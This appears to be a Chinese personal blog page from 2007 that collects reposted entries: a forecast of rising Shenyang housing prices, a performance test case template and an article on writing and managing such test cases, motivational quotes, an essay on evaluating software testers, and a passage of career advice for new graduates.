发布新日志

  • 沈阳房价还要涨的七个理由

    2007-08-11 20:28:41

    沈阳房价还要涨的七个理由

    沈阳房价目前合不合理,以后是进一步上涨还是会回落,是广大购房者非常关注的问题,笔者认为沈阳的房价还会继续上涨,理由有七点。

        1、随着沈阳的大市规划,城市建设进程会进一步加快。大学的扩招和户籍政策的逐步开放,农村人口将大规模涌入城市,而沈阳是整个东北三省除大连之外让外地人寻找“城市梦”的理想城市。这部分人的住房需求将成为推动沈阳房地产市场的主要动力之一,他们的住宅需求主要针对中低档市场。 

        2、近年来,随着东部发达省份市场的充分发展,越来越多的企业要开拓东北市场,而进军东北就必然先抢占沈阳,随之而来的是消费能力较强的中外籍管理人员,他们对中高档市场情有独钟。 

        3、从发达国家的城市发展轨迹来看,一个城市的人均GDP5000-8000美元的区间,是这个城市房地产市场发展最快的区间。2005年沈阳市人均GDP达到3970美元,沈阳即将进入房地产市场快速发展的时期,未来几年甚至更长时间房地产发展的潜力还很大。 

        4、目前沈阳市内可开发土地越来越少,在“沈阳市2006年重点招商地块推介会”上推介的36宗地块,很多都在二环以及二、三环之间,房屋地段已经从沈阳市中心转移到环线以外,市内只有棚户区改造,基本没有可开发住宅的土地,“物以稀为贵”,中心区的房价肯定还要涨。

        5、从开发成本来看,目前沈阳市的住宅容积率基本控制在2.5左右,有的甚至更低,如万恒·东方俪城容积率1.8,尚品·天城的容积率是1.4,瑞士风情小镇容积率1.34;唯美品格容积率仅0.820;绿化率、园区景观、设施也越来越讲究,如瑞士风情小镇绿化率68%,万科紫金苑绿化率47%。单位土地可建造的住宅少了,房价中的土地成本将越来越高,有道是:“千做万做,亏本生意不做”。房价怎么可能不涨? 

        6、房地产已经成为沈阳很重要的产业,政府部门也说“房地产业投资对沈阳固定资产投资的增长形成了巨大拉动”;“房地产业已经成为推动沈阳经济社会加快发展的引擎”。如果沈阳的房地产贬值,所引起的社会动荡是巨大的。仅从这一点来讲,城市的经营者不可能让房地产贬值,相反为了拉动经济的发展和GDP的快速增长还会积极支持房地产业的发展。

        7、沈阳房地产的结构比较合理。自住购房占85%以上,炒房者比较少;从户型看,沈阳的小户型很多,基本是面向普通大众居住的。现在沈阳中心城区房价“奔六”,浑南房价“超四”,就连铁西区和大东房价也早就突破3000元了。今年沈阳市的房价仍将延续去年态势,呈温和上升趋势,预计上涨8%。

        房子是特殊的商品,它不像股票会一夜之间化为灰烬,它是有价值的,特别是土地作为不可再生性的资源,它的价值会越来越高,附着于此的房价也会节节攀升。虽然自住型购房者希望房价不要再涨了,可是现实却是房价节节攀高。想买房子的人是很多的,关键是要把握好买的时机,该出手时就出手。

  • 《Web性能测试实战》性能测试用例模板

    2007-08-05 12:05:18

    Web性能测试实战》性能测试用例模板

    1文档介绍

    1.1文档目的

     

    1.2文档范围

     

    1.3读者对象

     

    1.4参考文献

     

    1.5术语与解释

    缩写、术语

       

     

     

     

     

     

    2测试需求分析

    2.1被测试对象的介绍

     

    2.2测试范围与目的

     

    2.3测试环境与测试辅助工具的描述

    3性能测试用例

    3.1预期性能指标测试用例

    下面的测试方法比较详细,也可以根据实际需要把所有的指标写在一起,简要描述测试方法,以达到节省时间的目的(列出测试对象、期望的性能、实际性能三项即可以)。

    1 指标A描述

    用例编号:

    001

    性能描述:

     

    用例目的:

     

    前提条件:

     

    特殊的规程说明:

     

    用例间的依赖关系:

     

    步骤

    输入/动作

    期望的性能(平均值)

    实际性能(平均值)

    回归测试

    1.          

    示例:典型值…

     

     

     

    2.          

    示例:边界值…

     

     

     

    3.          

    示例:异常值…

     

     

     

    4.          

     

     

     

    5.          

     

     

     

    6.          

     

     

     

    2 指标B描述

    用例编号:

    002

    性能描述:

     

    用例目的:

     

    前提条件:

     

    特殊的规程说明:

     

    用例间的依赖关系:

     

    步骤

    输入/动作

    期望的性能(平均值)

    实际性能(平均值)

    回归测试

    1.          

    示例:典型值…

     

     

     

    2.          

    示例:边界值…

     

     

     

    3.          

    示例:异常值…

    查看(972) 评论(0) 收藏 分享 管理

  • 测试用例之性能测试用例

    2007-08-05 10:51:02

    测试用例之性能测试用例
    作者:陈绍英

    性能测试、压力测试、负载测试、强度测试、稳定性测试、健壮性测试、功能测试、接口测试……,这么多眼花缭乱的测试类型名称,估计很少有人能准确的区分并说出定义来,至于对应的测试用例如何编写和执行,就更不用说了。

    如果问测试工程师测试用例如何编写,就象是问程序员如何编写代码得到的答案一样,每个人都会给出不同的编写方法,但实用的测试用例却象优秀的程序一样难以编写。

    目前国内,测试工程师却时常要面对“已经延期几倍计划时间的项目”,测试用例如何发挥更大的作用,是一个迫切需要解决的问题。事实上,完全可以把测试用例看成是测试工程师编写的程序:这个“程序”是为了辅助测试工作的进行而开发的,目的是为了发现软件问题,同时“顺便”证明软件功能是否符合要求。

    本文针对上面的问题,以设计性能测试用例为示范,讲解在企业实际工作中,如何有效划分测试种类和编写对应的测试用例,使测试工作更加合理、高效率的开展。

    1测试种类和阶段

    1.1 测试种类

    对于测试种类的说法多种多样,最多的能达到30多种测试类型。而实际工作中很多测试是互相包含的。按照企业中实际工作需要,通常主要进行下面几种类型的测试:功能测试、健壮性测试、接口测试、强度测试、压力测试、性能测试、用户界面测试、可靠性测试、安装/反安装测试、文档测试。

    下面介绍几种重要的测试种类及其测试的内容:

    功能测试:功能测试主要针对产品需求说明书的测试,是验证功能是否否合需求,包括原定功能的检验、是否有冗余功能、遗漏功能。这类测试应由测试员做,这并不意味着程序员在发布前不必检查他们的代码能否工作,他们也需要进行基本功能的测试。

    接口测试:程序员对各个模块进行系统联调的测试,包含程序内接口和程序外接口测试。这个测试,在单元测试阶段进行了一部分工作,而大部分都是在集成测试阶段完成的。由开发人员进行。

    性能测试:在交替进行负荷和强迫测试时常用的术语。性能测试关注的是系统的整体。它和通常所说的强度、压力/负载测试测试有密切关系。所以压力和强度测试应该与性能测试一同进行。

    用户界面测试:对系统的界面进行测试,测试用户界面是否友好、是否方便易用、设计是否合理、位置是否正确等一系列界面问题

    安装/反安装测试:安装测试主要检验软件是否可以正确安装,安装文件的各项设置是否有效,安装后能否影响原系统;反安装是逆过程,测试是否删除干净,是否给影响原系统等。

    文档测试:主要测试开发过程中针对用户的文档,以需求、用户手册、安装手册等为主,检验文档是否和实际应用存在差别。文档测试不需要编写测试用例。

    测试种类的划分不要拘泥于上面的形式,总体来说应该服从于测试策略,可以根据具体工作的特点进行安排,为了工作更容易开展,完全可以把一些测试合在一起进行。在后面的性能测试用例的编写上,充分体现了这一思想。

    1.2 测试阶段

    和开发过程相对应,测试过程会依次经历单元测试、集成测试、系统测试、验收测试四个主要阶段。对应关系如图1所示:

    需求开发

    高层设计

    详细设计

    编程

    单元测试

    集成测试

    系统测试

    验收测试

    图1 开发与测试的“V”型关系

    单元测试:单元测试是针对软件设计的最小单位––程序模块甚至代码段进行正确性检验的测试工作,通常由开发人员进行。

    集成测试:集成测试是将模块按照设计要求组装起来进行测试,主要目的是发现与接口有关的问题。由于在产品提交到测试部门前,产品开发小组都要进行联合调试,因此在大部分企业中集成测试是由开发人员来完成的。。

    系统测试:系统测试是在集成测试通过后进行的,目的是充分运行系统,验证各子系统是否都能正常工作并完成设计的要求。它主要由测试部门进行,是测试部门最大最重要的一个测试,对产品的质量有重大的影响。

    验收测试:验收测试以需求阶段的《需求规格说明书》为验收标准,测试时要求模拟实际用户的运行环境。对于实际项目可以和客户共同进行,对于产品来说就是最后一次的系统测试。测试内容为对功能模块的全面测试,尤其要进行文档测试。

    尽管测试阶段的划分十分明确,但是在具体的项目和产品的测试中,尤其在执行测试时,会根据实际需要来开展。

    1.3 测试种类、阶段和用例的关系

    为了便于在实际工作中提高效率,同时方便测试用例的编写和执行,可以把上面提到的各个测试类型与对应的测试用例合并。合并后的测试用例主要有以下几种:

    1. 功能测试用例:包含功能测试、健壮性测试、可靠性测试

    2. 性能测试用例:包含性能测试、压力测试、强度测试

    3. 集成测试用例:包含接口测试、健壮性测试、可靠性测试

    4. 安全测试用例:安全测试用例

    5. 用户界面测试用例:包含用户界面测试用例、少量功能测试用例

    6. 安装/反安装测试用例:安装/反安装测试用例

    综合上面的分析,测试种类、测试阶段以及执行人员具体的关系如表1所示。

    总之,测试的种类应该尽量的少,这样每次都可以执行更多的测试内容。例如在进行功能测试的同时,完全可以进行健壮性的测试。(当然如果产品健壮性方面要求较高,就可以把健壮性测试作为独立的测试。)

    2性能用例编写方案

    性能测试在软件测试中占有重要的地位,而性能测试又关联很多内容。例如压力和强度测试就与性能测试密切相关:针对一个网站进行测试,模拟10到50个用户就是在进行常规性能测试,用户增加到1000乃至上万就变成了压力/负载测试,如果同时对系统进行大量的数据查询操作,就包含了强度测试。

    为了便于性能测试工作的实施,这里的性能测试综合了性能、强度、压力、负载等多方面的测试内容,主要包含的内容有:预期性能指标测试、用户并发性能测试、疲劳强度测试、大数据量测试和速度测试、网络、服务器等方面的内容。

    性能测试不同的系统有不同的要求,编写方法要根据实际要求进行编写,本文提出一个常见的参考方案,在实际工作中,可以根据需要加入其它例如内存泄露等和性能相关的测试用例。

    下面介绍各个部分性能测试用例包含的内容:

    2.1预期性能指标测试用例

    通常系统在设计前都会提出一些性能指标,这些指标是性能测试要完成的首要工作之一。针对每个指标都要编写多个测试用例来验证是否达到要求,并根据测试结果来改进系统的性能。

    这类通常以单用户为主,如果遇到并发用户的情况,可以归到并发用户测试用例中。这类用例通常都是可以通过手工来执行的用例,例如示例中的上传一份文件,期望的性能为2M/S,完全可以手动上传文件,同时用秒表计时。这些内容通常在需求说明书中可以显而易见的查到。不过当看到如支持并发用户300人,就应该放到后面进行。测试结果也是直接记录是否达到要求,如果系统没有达到要求则进行改善。

    2.2用户并发性能测试用例

    用户并发测试是性能测试的最主要部分,包含了负载测试和压力测试的过程。主要是逐渐增加用户数量来加重系统负担,直到出现不能接收的性能点或者瓶颈。一般要测试正常数量的用户并发和极限数量下用户并发的情况。

    并发用户测试主要是对系统的核心功能和重要业务进行测试,要以真实的业务数据作为输入,选择有代表性和关键的业务操作来设计测试用例。主要编写以下两个方面的用例:

    核心模块的测试(可以理解为“单元性能测试”):对核心功能模块进行并发用户测试,测试系统是否能够稳定运行。例如对于互联网的公用邮件系统,每天早上9点左右可能是收发邮件的高峰,这时候上千的用户都要在上班后进入邮件系统,系统这个时候需要接收和发送大量的邮件。所以邮件系统这一功能模块要进行并发测试。通过测试可以知道数据库服务器、操作系统、网络设备等是否能够承受住考验,同时可以对瓶颈进行分析。

    表2列出来一些常见的参数(表格中的数据为示例的测试用例和测试结果),可以根据实际需要进行增加和删除,其中磁盘I/O、数据库相关测试参数要根据实际情况进行选择,因此没有列出。

    在编写这类用例时,要进行综合分析,选出系统中的各个核心模块,分别设计每个模块的测试用例:把模块划分成小的“事务”进行测试,这样在测试分析中便于定位问题究竟出现在哪里。例如邮件系统可以划分成:接收邮件、发送邮件、打开邮件等小的事务进行测试用例的编写,每个操作做为一个用例来执行。

    业务组合性能测试(可以理解为“集成性能测试”):所有的用户不会只使用核心模块,通常每个功能都可能被使用到,所有既要模拟多用户的“相同”操作,又要模拟多用户的不同操作,对多个业务进行组合性能测试。

    业务组合测试是更接近用户实际操作系统的测试,因此用例编写要充分考虑实际情况,选择最接近实际的场景进行设计。这里的业务组成单位以不同模块中的“子操作事务”为单位,进行各个模块的不同业务的组合。例如在办公自动化系统中就可以选择“公文模块中的发送公文、电子公告模块中的查看公告信息、网上论坛模块中的上传文件”等事务作为一组组合业务进行测试,用例设计信息如下:

    功能:在线用户达到高峰时,用户可以正常使用系统,保证500个以内用户可以同时在线使用系统。

    目的:测试系统500个以内的用户同时在线能否使用比较常见的模块:公文系统、电子公告、网上论坛。

    方法:采用LoadRunner的录制工具录制三个业务:

    业务1––在公文系统内,进行打开、修改等操作;

    业务2––在电子公告系统内,查看、发布公告;

    业务3––在网上论坛系统内发布帖子,查看文章。每个业务分配一定数目的用户,利用LoadRunner来完成相关参数的测试。

    其它部分设计可以参考表2。执行时要分别记录各个事务的执行情况。

    多用户并发性能测试是性能测试的核心内容,包含了全部与多用户相关的测试。因此设计时要全面考虑,不要有遗漏。在测试执行时,本部分通常是采用性能测试工具例如LoadRunner来进行测试的,因此更容易执行和提高效率。

    2.3疲劳强度与大数据量测试

    疲劳强度测试是在系统稳定运行下模拟最大用户数量、并长时间运行系统,通过综合分析执行指标和资源监控来确定系统处理最大业务量时的性能。

    疲劳强度测试的目的就是检验系统长时间运行后的性能,因此设计用例时,需要编写不同参数或者负载条件下的多个测试用例,对服务器、软件、网络进行不同条件下的综合测试分析,测试时要记录系统发生故障的信息作为测试结果。疲劳强度测试也是采用测试工具进行的。

    大数据量测试分为两种:一个是针对某些系统存储、传输、统计查询等业务进行大数据量的测试;另一个是与前面并发测试相结合的综合数据测试。编写用例时主要编写前一部分,后一部分尽量放在并发测试中。

    大数据量测试一般是针对那些对数据库有特殊要求的系统进行测试,例如电信业务系统的手机短信息表,由于有的用户关机或者不在服务区,每秒钟需要有大量的短信息保存,同时在用户联机后还要及时发送,因此对数据库性能有极高的要求,需要专门测试。

    本部分用例设计表格可以参考用户并发性能测试部分。

    2.4网络性能测试

    网络性能测试主要是为了准确展示带宽、延迟、负载和端口的变化是如何影响用户的响应时间的。在实际的软件项目中,主要是测试用户数目与网络带宽的关系。

    编写用例的格式如表3(表格中的数据为示例数据):

    本部分可以独立测试,也可以和用户并发性能测试、疲劳强度与大数据量性能测试结合起来,在原有的基础上采用工具来调整网络设置,从而达到监视网络性能的目的。通常网络性能都是采用工具进行性能评估,由系统集成工程师来进行。

    2.5服务器性能测试

    本部分的测试用例不必独立编写,或者根据实际需要编写少量的测试用例,建议这部分的用例编写和前两部分结合起来,在用户并发性能测试、疲劳强度与大数据量性能测试时完成对服务器性能的监控,完成对服务器性能的评估。

    2.6性能分析基本策略

    在上面的用例执行完成后,接下来要进行性能分析。性能分析是性能测试的最终目的,否则测试出的指标就不会有实际意义,这里主要介绍一下性能分析的基本思路。性能分析通常要围绕三个方面进行:软件、服务器、网络。

    软件主要是分析具体事务执行时间,尤其并发用户部分,根据测试工具测试出的结果分析那些事务执行的慢,然后可以分析执行较慢的代码,针对网页可以分析具体的页面元素执行情况。

    服务器的分析要结合软件的运行情况进行分析,着重分析硬件的执行参数,CPU、硬盘、内存、中断、内存等情况,分析尤其要注意对这些参数进行综合分析,往往各个参数之间会互相影响,最后在调查、分析整体系统的基础上,找出影响服务器整体性能的瓶颈,确定相应的升级需求:

    1. 服务器硬盘负载较重,需增加硬盘。

    2. CPU整体性能偏低,需增加或更新CPU。

    3. 网卡性能偏低,需更换光纤网卡。

    4. 硬盘I/O负载任务繁重,需使用高转速硬盘或采用RAID卡。

    5. 内存资源短缺,需增大内存。

    6. 其他方面,需要升级软件系统、合理进行子网划分、加强管理等。

    网络性能分析要结合结合服务器和测试目标软件,通常网络传输慢会有软件和服务器方面的原因,甚至有时候会有客户端方面的原因。不过目前网络的环境普遍可以,不管是局域网还是广域网,网络的环境越来越好。

    3用例管理

    测试用例的管理我们可以借鉴开发过程中对程序的管理方法,我们可以把测试用例看成程序––测试工程师编写的程序,这个程序也要经过“设计”、“开发”、“测试”、“版本管理”、“发布”、“维护”等一系列操作,然后按照管理软件程序的方法来管理测试用例。

    用例管理主要包含评审、修改、执行用例、用例版本维护、用例升级方面的内容。

    3.1 用例评审

    测试用例评审是测试用例不可缺少的一个环节,这是对“测试部门开发出的产品”进行的“测试”。基本思路是对测试准备阶段的成果进行分期评审,依次评审系统/验收测试用例、集成测试用例、单元测试用例。

    评审用例在比较正规的公司更容易实施,要求相应的软件开发团队必须在实际工作中对测试给予足够的重视,才可以把这项工作做好,否则只是走走形式。有效的用例评审通常由下面两种形式组成:

    测试部门外部评审––主要是由开发部、项目实施部、甚至销售人员参加的评审,目的主要是查找测试工程师编写的用例是否缺少内容。建议采用非正式评审的形式进行,因为我们很难把开发人员组织在一起,一般来说他们的开发进度压力很大,能够抽出时间看文档已经是“很给面子了”。当然不统一进行评审会耽误工程的进度,所以在实际工作中如果时间紧迫,可以提前启动测试实施工作,待评审完成后进行用例的修改工作。通常测试工作进行一段时间评审就会结束,这个时候测试执行人员可以在工作中对测试用例的内容进行动态的调整,再次执行被修改过的部分用例(如果能够采用正式评审,效果肯定会更好。)。

    外部评审主要工作方式是用文档直接记录评审结果,测试人员根据评审结果对用例进行升级修改。

    测试部门内部评审––部门内部同行对测试策略的评审,评审的核心内容是测试策略和用例编制思路是否正确,以此来保证测试用例的有效性。可以组织正式的评审,由用例的设计人员进行讲解,然后大家共同评审;也可以把文档发给部门的同事进行评审。内部评审有些象开发人员在单元测试中的交叉测试。

    内部评审的主要工作方式是项目会议,大家可以进行激烈的讨论,共同探讨用例编写、交流经验,这样用例的编写水平才能提高,同时可以进行一些创新。

    评审方式中的外部评审最为重要。因为开发人员很容易发现用例中遗漏了什么内容,同时还可以发现错误的用例––因为存在对需求理解的偏差。用例外部评审可以理解为开发人员在查找测试人员编写的“程序”缺陷。

    通常情况下先执行内部评审,然后执行外部评审。很多时候,内部评审会被忽略,建议要进行内部评审。这样至少有两个好处:集思广益和提高测试小组输出文档的质量。

    3.2 管理方案

    国内大多数IT公司在测试用例的发展经历了以下几个阶段:

    • 无用例而执行测试:测试的初级阶段,完全手工测试,测试执行工程中没有测试用例作为执行依据,可能会按照需求进行测试;
    • 有用例而不使用用例执行测试:已经编写测试用例,但是受各种环境的影响,例如需求变动频繁、编写的用例过于简单等,测试用例编写后在实际工作中不能使用;
    • 按照部分用例执行测试:随着用例编写水平的提高,部分测试用例可以在测试中发挥作用;
    • 完全按照用例执行测试:组织建立了规范的项目管理过程,对测试用例进行规范的管理,执行测试用例以用例为准则来执行测试。

    完全按照测试用例执行测试是一个公司测试水平的体现,测试用例管理成为这一阶段的主要内容。测试用例管理的核心内容是版本管理。如果测试用例是采用文字编辑软件例如word编写,建议采用工具(例如Visual SourceSafe)对用例进行控制。可以参照图2进行。

    编写用例

    用例评审

    进入版本控制库

    用例修改

    使用用例&维护&升级

    图2 测试用例管理示意图

    1、编写用例:测试工程师根据需求分析、概要设计、详细设计等文档编写测试用例。

    2、用例评审:3.1小结说明了用例的评审。原则上用例像程序一样,要经过多次的修改才可以通过,而实际工作中只进行一到两次。

    3、用例修改:评审结束后,需要根据评审意见进行修改,修改后通常不再进行评审。建议在时间和人力资源比较充裕的情况下,对用例的评审要像测试开发部门的产品一样,经过反复的评审和修改,然后正式投入使用,因为每次评审可能都有新的发现。

    4、使用用例:在执行任务时,从版本控制库取出用例,执行时建议直接在用例上记录测试结果。这样做会带来两个好处:首先是下次测试时可以看见上次测试的结果记录,可以起一个提醒的作用;其次可以一次性的把发现的缺陷输入到缺陷跟踪数据库中,在输入时可以进行综合统计,避免输入重复的缺陷。每次使用后送入版本控制库中,进行版本的管理。

    5、用例升级/维护:随着软件产品的不断修改、升级,对应的用例也需要升级和维护。针对同一个项目,可以根据需求的变更不断进行维护;如果是产品,用例的维护则更加重要,要达到用例和产品的版本一一对应。

    测试用例的管理还可以采用专门的测试软件例如TestDirector等来进行管理,测试工具通常会具备上面的功能。如果有条件,建议采用集成华的测试工具,这样更容易对测试执行全程进行监控,可以把测试需求、测试用例、缺陷管理统一起来,大大提高测试效率。

    在测试用例管理规范化并成为测试的执行准则后,管理测试用例带来的巨大好处开始逐渐显现出来,测试用例成为评估测试和改进测试工作的主要依据,可以给工具带来巨大的方便。例如可以通过测试用例的执行情况来统计分析执行结果,编写测试报告,判断软件测试是否完成,通过统计测试覆盖率、测试合格率、重要测试对象的合格率是多少来完成对软件质量的评估;尤其是新员工到岗后,可以更容易介入工作。

    总之,不管是性能测试还是其它测试都要本着“一切从实际出发”的原则,根据不同产品的特性进行用例编写,最后按照要求完成测试,达到提高产品质量的目的。在测试用例的编写过程中,尤其要记得“创新”,如果长期依靠某一测试用例编写模式、采用某些固定的模板,测试用例编写工作肯定会停滞在某一层次上不再发展,一定要跟着测试对象的不断变化来调整策略,在具体的工作中改进和提高,才能“开发”出优秀的测试用例!

  • 改变人生的32句励志名言

    2007-07-31 22:35:54

    1.大多数人想要改造这个世界,但却罕有人想改造自己。

    2、积极的人在每一次忧患中都看到一个机会, 而消极的人则在每个机会都看到某种忧患。

    3、莫找借口失败,只找理由成功。(不为失败找理由,要为成功找方法)

    4、伟人之所以伟大,是因为他与别人共处逆境时,别人失去了信心,他却下决心实现自己的目标。

    5、世上没有绝望的处境,只有对处境绝望的人。

    6、当你感到悲哀痛苦时,最好是去学些什么东西。学习会使你永远立于不败之地。

    7、世界上那些最容易的事情中,拖延时间最不费力。

    8、人之所以能,是相信能。

    9、一个有信念者所开发出的力量,大于99个只有兴趣者。

    10、每一发奋努力的背后,必有加倍的赏赐。

    11、人生伟业的建立 ,不在能知,乃在能行。

    12、任何的限制,都是从自己的内心开始的。

    13、含泪播种的人一定能含笑收获。

    14、欲望以提升热忱,毅力以磨平高山。

    15、一个能从别人的观念来看事情,能了解别人心灵活动的人永远不必为自己的前途担心。

    16、一个人最大的破产是绝望,最大的资产是希望。

    17、不要等待机会,而要创造机会。

    18、如果寒暄只是打个招呼就了事的话,那与猴子的呼叫声有什么不同呢? 事实上,正确的寒暄必须在短短一句话中明显地表露出你对他的关怀。

    19、昨晚多几分钟的准备,今天少几小时的麻烦。

    20、做对的事情比把事情做对重要。

    21、人格的完善是本,财富的确立是末。

    22、没有一种不通过蔑视、忍受和奋斗就可以征服的命运。

    23、行动是治愈恐惧的良药,而犹豫、拖延将不断滋养恐惧。

    24、没有天生的信心,只有不断培养的信心。

    25、只有一条路不能选择——那就是放弃的路;只有一条路不能拒绝——那就是成长的路。

    26、人性最可怜的就是:我们总是梦想着天边的一座奇妙的玫瑰园,而不去欣赏今天就开在我们窗口的玫瑰。

    27、征服畏惧、建立自信的最快最确实的方法,就是去做你害怕的事,直到你获得成功的经

    验。

    28、失败是什么?没有什么,只是更走近成功一步;成功是什么?就是走过了所有通向失败的路,只剩下一条路,那就是成功的路。

    29、让我们将事前的忧虑,换为事前的思考和计划吧!

    30、再长的路,一步步也能走完,再短的路,不迈开双脚也无法到达。

    31、任何业绩的质变都来自于量变的积累。

    32、成功不是将来才有的,而是从决定去做的那一刻起,持续累积而成。

  • 测试员的工作效率和所查毛病的数量

    2007-07-09 22:35:46

    测试员的工作效率和所查毛病的数量

    测试员的工作效率是否应该用所查毛病的数量来测量?回答“不可以。”我原来以为这样的衡量方式是正确的业绩衡量方式。但是这种想法只能肤浅地表达一个测试员工作业绩,而且在不同的因素影响下,和不同的情况下,是无法真正反映一个测试员的业绩,如果简单利用测试员在一定周期内找到的毛病数量来评判业绩,对测试员来说是不公平的,同时会促使测试员以对抗的态度和开发者较劲,将合作关系变成相互歧视的关系。

    有许多各种因素能够影响一个测试员找到的毛病的数量,举几个例子来说,如果一个测试员进行头到尾的测试,他的测试任务中很大一部分时间用于清理系统,重装系统,然后进行测试,在整个过程中,测试占用20分钟,这些清理和重装需要4小时,这样的活动,肯定会影响找到的毛病的数量。这并不是一个很好的例子。因为很多步骤可能可以自动化,然后提高测试员的工作效率。但总有一些情况下,手动安装是必须或是必须等待自动化安装完成,然后才能进行测试,由于这些活动(清除,重装)花掉的时间过多,而给测试的时间段过短而造成测试员无法查找更多的错误。

    著名的测试专业培训师和作家Cem Kaner曾经提到过一个案例,在一个工程开发完毕后的测试中,他手下的一个测试员在测试自己的部件时找到很少一些毛病,但是这些毛病的影响是很坏的,这些毛病的数量远不及其他测试员找到的多。当时开发组的老板对这个测试员发现的毛病的数量不够信任,于是要求Cem Kaner再增加更多的人手来进行同一方面的测试,Cem Kaner找了一个资深的测试员协同那个原来的员工,两人后来一直没有发现太多的毛病,但是两人还是找到了一些很糟糕的问题。这些重大的问题把整个产品的推出时间推后了6个月。在工程结束后,后来的测试员高度赞誉了前面的员工的工作。再后来等到产品卖出后,客户在这个部件中发现的问题和其他部件相比是微乎其微。

    我在测试过程中,发现另外一个问题,就是开发者的工作能力和测试员所发现的毛病数量是成反比的。开发者的设计水平越高,测试员在其产品中找到的问题也是越少。我曾经对两个不同程序员开发的部件中进行源码测试,第一个是很有能力的,第二个就有点马虎。我在第一个程序员开发的产品中找到几个问题不大的毛病,但是在第二个程序员的开发的产品中找到找到不少各总各样的问题。这也说明产品自身的质量好坏决定测试员拿到产品后所发现的毛病数量。这也顺便带出一个新的问题,如果测试员接到一个已经经过不少修改的产品,里面的能找到的毛病数量已经很少了,这个测试员不一定能在测试过程中找到多少问题。还有就是测试员自己的技术问题,刚出校的大学生,和刚从开发者转变成测试员的,技术不一定很好,这也会影响他们找到的毛病数量。对这些新人,不能苛求发现的毛病数量。

    如果测试员在老板的允许下,进行流程改进,自己设计开发自动化测试工具,为以后的工作奠定基础,但是一时间没有足够的时间进行测试,这也会影响自己找到的毛病的数量。或是帮助新人适应工作环境,给新人提供问题解答,这也会影响自己找到的毛病的数量。同时也影响很多好的测试员花费时间在文档总所有这些例子,还有更多各种各样其他未列举的例子都能很好地说明不能轻易用毛病的数量来说明一个测试员的业绩。

    如果老板使用毛病的数量来说明一个测试员的业绩会造成什么后果,首先,测试员会故意将影响力小,微不足道的各种毛病,甚至已经存在的毛病报告出来,以增加自己发现的毛病数量。这种做法浪费所有人的时间,开发者,老板,测试员。开发者会开始怀疑,甚至轻视测试员的报告造成毛病泄漏错误。同时造成开发者测试员之间的政治性冲突。再者,测试员会开始制造大量肤浅测试案例来进行大网捞大鱼的,他们不会用心设计覆盖面更深,更复杂的案例来找出潜伏更深,影响更大的问题。使用毛病的数量来说明最终是个很不公平的做法,它能伤害好的测试者在帮助他人,仔细做好文档总结工作,在测试中花费时间来设计更好的测试工具和改进工作流程, 甚至妨碍测试员之间的技术交流,和帮助新人上手。

    在考核测试员的业绩方面,没有什么准确地手段能百分百地保证主管来进行公平的评估,最好的方法是注意每个人的日常动向,向测试员周围的人来问取这个测试员的平时的工作能力,交流能力,在测试中有没有做出什么贡献。从其他方面也可以评判测试员的业绩,比如他的毛病报告的质量,他的文档总结,他在工作实践中的工具开发,他和其他工作人员的交流互动等等。考核要全面,才能显示管理者的开明和公正,也能显示出管理者对整个项目的进展有一定的了解,让大家信服。作为管理者,时不时地关注下属的工作进度能够帮助评估一个下属的工作业绩。管理者最好能了解每个员工保证完成的任务和期内真正完成的任务来对比,获得下属的实际工作进度。管理者通过了解和下属工作的开发者的反馈,诸如测试员能够查找出重大的毛病问题,能够为开发者的设计提供建设性的建议,能够分担毛病解析,能准确详细地描述毛病。管理者所要做的另一件事是,和组里其他的测试员了解属下的工作情况,看看属下是否帮助其他组员解决面对的问题,是否能够很好地进行工作上的交流,是否和其他组员一起合作做好本职工作,在本职工作的基础上能够完成更多的工作等等。最后,在评估时,要了解下属的在工作范围内外所完成的任务,在整个开发中发挥的作用等等。只有这样才能给测试员公正的业绩评估。



    Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1516436

  • 应届毕业生少走弯路的十条忠告[转帖]

    2007-07-09 22:16:29

    刚刚走上社会的年轻人,充满了蓄势待发的豪情、青春的朝气、前卫的思想,梦想着丰富的待遇和轰轰烈烈的事业。可是,社会毕竟是一所包罗万象、喧嚣复杂的大学校,这里没有寒暑假,拒绝虚假和肤浅,更拒绝空想和庸碌,难以预告何时开课何时放学。
      如何在涉世之初少走弯路,有一个好的开端,开始一番成功的事业?以下是一些先行者积累的10条有益的涉世忠告。好好地遵循、把握这些忠告和建议吧,比起所学的课堂课程来,它毫不逊色!

      1.买个闹钟,以便按时叫醒你。贪睡和不守时,都将成为你工作和事业上的绊脚石,任何时候都一样。不仅要学会准时,更要学会提前。就如你坐车去 某地,沿途的风景很美,你忍不住下车看一看,后来虽然你还是赶到了某地,却不是准时到达。“闹钟”只是一种简单的标志和提示,真正灵活、实用的时间,掌握 在每个人的心中。

      2.如果你不喜欢现在的工作,要么辞职不干,要么就闭嘴不言。初出茅庐,往往眼高手低,心高气傲,大事做不了,小事不愿做。不要养成挑三拣四的习惯。不要雨天烦打伞,不带伞又怕淋雨,处处表现出不满的情绪。记住,不做则已,要做就要做好。

      3.每个人都有孤独的时候。要学会忍受孤独,这样才会成熟起来。年轻人嘻嘻哈哈、打打闹闹惯了,到了一个陌生的环境,面对形形色色的人和事,一 下子不知所措起来,有时连一个可以倾心说话的地方也没有。这时,千万别浮躁,学会静心,学会忍受孤独。在孤独中思考,在思考中成熟,在成熟中升华。不要因 为寂寞而乱了方寸,而去做无聊无益的事情,白白浪费了宝贵的时间。

      4.走运时要做好倒霉的准备。有一天,一只狐狸走到一个葡萄园外,看见里面水灵灵的葡萄垂涎欲滴。可是外面有栅栏挡着,无法进去。于是它一狠心 绝食三日,减肥之后,终于钻进葡萄园内饱餐一顿。当它心满意足地想离开葡萄园时,发觉自己吃得太饱,怎么也钻不出栅栏了。相信任何人都不愿做这样的狐狸。 退路同样重要。饱带干粮,晴带雨伞,点滴积累,水到渠成。有的东西今天似乎一文不值,但有朝一日也许就会身价百倍。

      5.不要像玻璃那样脆弱。有的人眼睛总盯着自己,所以长不高看不远;总是喜欢怨天尤人,也使别人无比厌烦。没有苦中苦,哪来甜中甜?不要像玻璃那样脆弱,而应像水晶一样透明,太阳一样辉煌,腊梅一样坚强。既然睁开眼睛享受风的清凉,就不要埋怨风中细小的沙粒。

      6.管住自己的嘴巴。不要谈论自己,更不要议论别人。谈论自己往往会自大虚伪,在名不副实中失去自己。议论别人往往陷入鸡毛蒜皮的是非口舌中纠 缠不清。每天下班后和你的那些同事朋友喝酒聊天可不是件好事,因为,这中间往往会把议论同事、朋友当做话题。背后议论人总是不好的,尤其是议论别人的短 处,这些会降低你的人格。

